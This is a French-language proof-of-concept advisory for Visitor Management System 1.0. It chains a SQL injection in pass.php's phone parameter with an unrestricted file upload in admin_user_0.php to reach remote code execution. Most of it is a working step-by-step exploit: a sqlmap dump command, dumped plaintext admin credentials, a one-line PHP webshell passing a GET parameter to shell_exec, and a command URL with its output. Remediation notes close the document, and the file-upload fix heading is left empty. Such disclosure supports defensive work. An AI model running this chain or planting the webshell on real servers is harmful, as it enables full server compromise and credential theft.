
Preuve de concept démontrant une injection SQL et un téléversement de fichier sans restriction enchaînés pour obtenir une exécution de code à distance dans Visitor Management System 1.0, incluant un guide d'exploitation étape par étape et des recommandations de remédiation.
| Champ | Détails |
|---|
| Produit | Visitor Management System |
| Vendeur | code-projects.org |
| Version | 1.0 |
| Classes de Vulnérabilité | Injection SQL (CWE-89) + Téléversement de Fichier Sans Restriction (CWE-434) |
| ID CVE | En attente |
| Score CVSS | 9.8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Authentification Requise | Privilèges faibles (compte gardien) comme point d'entrée |
| Fichiers Affectés | /vms/php/pass.php, /vms/php/admin_user_0.php |
| Paramètre Vulnérable | phone (POST) |
Le Visitor Management System 1.0 de code-projects.org est vulnérable à une chaîne d'attaque critique combinant l'Injection SQL et le Téléversement de Fichier Sans Restriction, menant à l'Exécution de Code à Distance.
Un attaquant disposant d'un accès à privilèges faibles (compte gardien) peut exploiter une vulnérabilité d'injection SQL dans pass.php via le paramètre POST phone pour extraire l'intégralité de la base de données — y compris les identifiants administrateur en clair. En utilisant les identifiants extraits pour s'authentifier en tant qu'administrateur, l'attaquant peut ensuite téléverser un webshell PHP via le panneau de gestion des utilisateurs administrateurs (admin_user_0.php), qui n'effectue aucune validation du type de fichier ou de l'extension. Le webshell téléversé est stocké dans un répertoire accessible via le web et peut être exécuté directement via une URL, résultant en une Exécution de Code à Distance complète sur le serveur.
De plus, les mots de passe sont stockés en clair dans la base de données, ce qui signifie qu'aucune étape de craquage n'est nécessaire après l'extraction via SQLi.
Connexion gardien à privilèges faibles
↓
Injection SQL dans pass.php (paramètre phone)
↓
Extraction sqlmap → identifiants administrateur en clair récupérés
↓
Connexion en tant qu'administrateur (sanjay1:7861)
↓
Téléversement de fichier sans restriction dans admin_user_0.php
↓
Webshell PHP téléversé dans /vms/php/folder/
↓
RCE via ?cmd=whoami → compromission complète du serveur
Naviguez vers l'application VMS et connectez-vous avec les identifiants du gardien. Après la connexion, naviguez vers la page Numéro de Téléphone :
http://<TARGET>/vms/php/phone_0.php

Soumettez un guillemet simple ' comme valeur du numéro de téléphone. L'application génère une erreur fatale MariaDB exposant la requête brute et le chemin du fichier :
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
Fichier affecté : pass.php ligne 9
Paramètre vulnérable : phone (POST)

erreur sql

Enregistrez la requête capturée avec Burp Suite dans un fichier (sqli.txt) et exécutez sqlmap :
sqlmap -r sqli.txt --dump --batch
sqlmap extrait avec succès la table login_user de la base de données vms, révélant les identifiants en clair de tous les utilisateurs :
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
Remarque : Les mots de passe sont stockés en clair — aucun craquage de hachage n'est nécessaire.

En utilisant les identifiants administrateur extraits, connectez-vous au panneau d'administration :
Nom d'utilisateur : sanjay1
Mot de passe : 7861
Le tableau de bord administrateur complet est désormais accessible, y compris la gestion des Employés, des Départements, des Utilisateurs Administrateurs et des Rapports.

Naviguez vers la page de gestion des Utilisateurs Administrateurs :
http://<TARGET>/vms/php/admin_user_0.php
La page contient un champ de téléversement de fichier pour une image de profil. L'application n'effectue aucune validation du type de fichier, aucun filtrage des extensions et aucune vérification du type MIME.
Remplissez le formulaire avec des valeurs quelconques et téléversez le webshell PHP suivant comme fichier image (web2_command.php) :
<?php echo shell_exec($_GET['cmd']); ?>

Naviguez vers la page d'affichage des Utilisateurs Administrateurs :
http://<TARGET>/vms/php/admin_display_0.php
Le compte administrateur nouvellement créé est visible dans le tableau. Le webshell téléversé est stocké à l'adresse :
http://<TARGET>/vms/php/folder/web2_command.php

Exécutez des commandes système arbitraires via le webshell :
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami
Résultat : Le serveur renvoie l'utilisateur système actuel, confirmant l'Exécution de Code à Distance complète :
desktop-g1i9np3\dell

| Fichier | Vulnérabilité |
|---|---|
/vms/php/pass.php | Injection SQL via le paramètre POST phone |
/vms/php/admin_user_0.php | Téléversement de Fichier Sans Restriction — aucune validation d'extension ou de MIME |
/vms/php/folder/ | Répertoire de stockage du webshell — accessible via le web, sans restrictions |
Pour l'Injection SQL :
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();
Pour le Téléversement de Fichier :
Pour le Stockage des Mots de Passe :
password_hash() et password_verify() — ne jamais stocker en clair